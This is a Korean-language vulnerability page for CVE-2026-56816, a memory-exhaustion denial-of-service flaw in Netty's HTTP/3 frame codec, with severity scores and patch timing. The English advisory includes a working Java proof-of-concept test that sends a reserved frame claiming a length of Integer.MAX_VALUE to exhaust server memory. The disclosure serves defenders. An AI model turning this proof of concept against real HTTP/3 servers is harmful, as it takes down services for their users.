CVE-2026-56816HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 22.

Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types

DoS

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음

CVSS

7.5high

이론적 심각도 점수

EPSS

0.4%상위 65.1%

30일 내 악용 확률 예측

KEV

미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로

공격 벡터네트워크

공격 복잡도낮음

필요 권한불필요

사용자 상호작용불필요

범위불변

영향

기밀성 영향없음

무결성 영향없음

가용성 영향높음

버전별 점수

CVSS 3.17.5HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Summary

Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.

Details

io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:

bash

 1                // Handling reserved frame types
 2                // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8
 3                if (in.readableBytes() < payLoadLength) {
 4                    return 0;
 5                }

The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.

This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.

PoC

text

 1    @Test
 2    public void test() throws Exception {
 3        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
 4        try {
 5            X509Bundle cert = new CertificateBuilder()
 6                    .subject("cn=localhost")
 7                    .setIsCertificateAuthority(true)
 8                    .buildSelfSigned();
 9 
10            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
11                    .applicationProtocols(Http3.supportedApplicationProtocols())
12                    .build();
13 
14            CountDownLatch serverConnectionClosed = new CountDownLatch(1);
15 
16            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
17                    .sslContext(serverContext)
18                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
19                    .initialMaxData(10_000_000)
20                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
21                    .initialMaxStreamDataBidirectionalRemote(1_000_000)
22                    .initialMaxStreamsBidirectional(100)
23                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)
24                    .handler(new ChannelInitializer<QuicChannel>() {
25                        @Override
26                        protected void initChannel(QuicChannel ch) {
27                            ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
28                            ch.pipeline().addLast(new Http3ServerConnectionHandler(
29                                    new ChannelInboundHandlerAdapter() {
30                                        @Override
31                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
32                                            cause.printStackTrace();
33                                            ctx.close();
34                                        }
35                                    }));
36                        }
37                    })
38                    .build();
39 
40            Channel server = new Bootstrap()
41                    .group(group)
42                    .channel(NioDatagramChannel.class)
43                    .handler(serverCodec)
44                    .bind("127.0.0.1", 0)
45                    .sync()
46                    .channel();
47 
48            QuicSslContext clientContext = QuicSslContextBuilder.forClient()
49                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
50                    .applicationProtocols(Http3.supportedApplicationProtocols())
51                    .build();
52 
53            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
54                    .sslContext(clientContext)
55                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
56                    .initialMaxData(10_000_000)
57                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
58                    .build();
59 
60            Channel client = new Bootstrap()
61                    .group(group)
62                    .channel(NioDatagramChannel.class)
63                    .handler(clientCodec)
64                    .bind(0)
65                    .sync()
66                    .channel();
67 
68            QuicChannel quicChannel = QuicChannel.newBootstrap(client)
69                    .handler(new Http3ClientConnectionHandler())
70                    .remoteAddress(server.localAddress())
71                    .localAddress(client.localAddress())
72                    .connect()
73                    .get();
74 
75            QuicStreamChannel rawStream =
76                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
77 
78            ByteBuf header = Unpooled.buffer();
79 
80            // Write reserved frame type (64)
81            header.writeByte(0x40);
82            header.writeByte(0x40);
83 
84            // Write payload length (Integer.MAX_VALUE)
85            header.writeByte(0xC0);
86            header.writeByte(0x00);
87            header.writeByte(0x00);
88            header.writeByte(0x00);
89            header.writeByte(0x7F);
90            header.writeByte(0xFF);
91            header.writeByte(0xFF);
92            header.writeByte(0xFF);
93 
94            rawStream.write(header);
95 
96            // Write the maximum allowed payload
97            int payloadSize = 1_000_000;
98            ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);
99            rawStream.writeAndFlush(payload).sync();
100 
101            assertTrue(quicChannel.isActive());
102 
103            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
104            server.close().sync();
105            client.close().sync();
106        } finally {
107            group.shutdownGracefully();
108        }
109    }

Impact

Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

참고 자료 5

링크 내용 불러오는 중…